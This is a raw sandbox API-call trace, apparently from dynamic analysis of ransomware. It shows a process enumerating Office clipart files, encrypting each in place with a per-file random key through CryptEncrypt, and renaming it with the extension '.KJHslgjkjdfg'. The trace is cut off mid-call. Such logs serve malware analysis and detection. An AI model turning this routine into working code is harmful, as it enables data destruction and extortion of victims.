[0190.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.kjhslgjkjdfg")) returned 1 [0190.436] CloseHandle (hObject=0x114) returned 1 [0190.436] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0190.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.439] GetProcessHeap () returned 0x2a0000 [0190.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.439] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.441] GetProcessHeap () returned 0x2a0000 [0190.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.441] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.442] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.442] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.442] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3fe8, lpOverlapped=0x0) returned 1 [0190.443] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ff0) returned 1 [0190.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.443] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ff0, lpOverlapped=0x0) returned 1 [0190.444] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.444] SetEndOfFile (hFile=0x114) returned 1 [0190.446] GetProcessHeap () returned 0x2a0000 [0190.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.446] GetProcessHeap () returned 0x2a0000 [0190.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.kjhslgjkjdfg")) returned 1 [0190.448] CloseHandle (hObject=0x114) returned 1 [0190.448] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0190.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.450] GetProcessHeap () returned 0x2a0000 [0190.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.450] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.453] GetProcessHeap () returned 0x2a0000 [0190.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.453] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.453] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.453] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.454] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.454] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1898, lpOverlapped=0x0) returned 1 [0190.455] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18a0, dwBufLen=0x18a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18a0) returned 1 [0190.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.455] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18a0, lpOverlapped=0x0) returned 1 [0190.456] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.456] SetEndOfFile (hFile=0x114) returned 1 [0190.459] GetProcessHeap () returned 0x2a0000 [0190.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.459] GetProcessHeap () returned 0x2a0000 [0190.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.kjhslgjkjdfg")) returned 1 [0190.461] CloseHandle (hObject=0x114) returned 1 [0190.461] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0190.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.462] GetProcessHeap () returned 0x2a0000 [0190.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.462] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.462] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.464] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.464] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.464] GetProcessHeap () returned 0x2a0000 [0190.465] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.465] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.465] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.465] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.465] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.465] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.465] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.465] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.465] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x29f8, lpOverlapped=0x0) returned 1 [0190.466] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a00) returned 1 [0190.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.467] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a00, lpOverlapped=0x0) returned 1 [0190.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.467] SetEndOfFile (hFile=0x114) returned 1 [0190.470] GetProcessHeap () returned 0x2a0000 [0190.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.470] GetProcessHeap () returned 0x2a0000 [0190.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.kjhslgjkjdfg")) returned 1 [0190.472] CloseHandle (hObject=0x114) returned 1 [0190.472] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0190.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.474] GetProcessHeap () returned 0x2a0000 [0190.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.474] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.474] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.476] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.476] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.476] GetProcessHeap () returned 0x2a0000 [0190.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.476] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.476] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.477] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.477] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.477] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.477] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.477] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.477] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x28b4, lpOverlapped=0x0) returned 1 [0190.478] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28c0) returned 1 [0190.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.478] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x28c0, lpOverlapped=0x0) returned 1 [0190.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.479] SetEndOfFile (hFile=0x114) returned 1 [0190.481] GetProcessHeap () returned 0x2a0000 [0190.481] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.482] GetProcessHeap () returned 0x2a0000 [0190.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.kjhslgjkjdfg")) returned 1 [0190.491] CloseHandle (hObject=0x114) returned 1 [0190.491] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0190.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.492] GetProcessHeap () returned 0x2a0000 [0190.492] RtlAllocateHeap 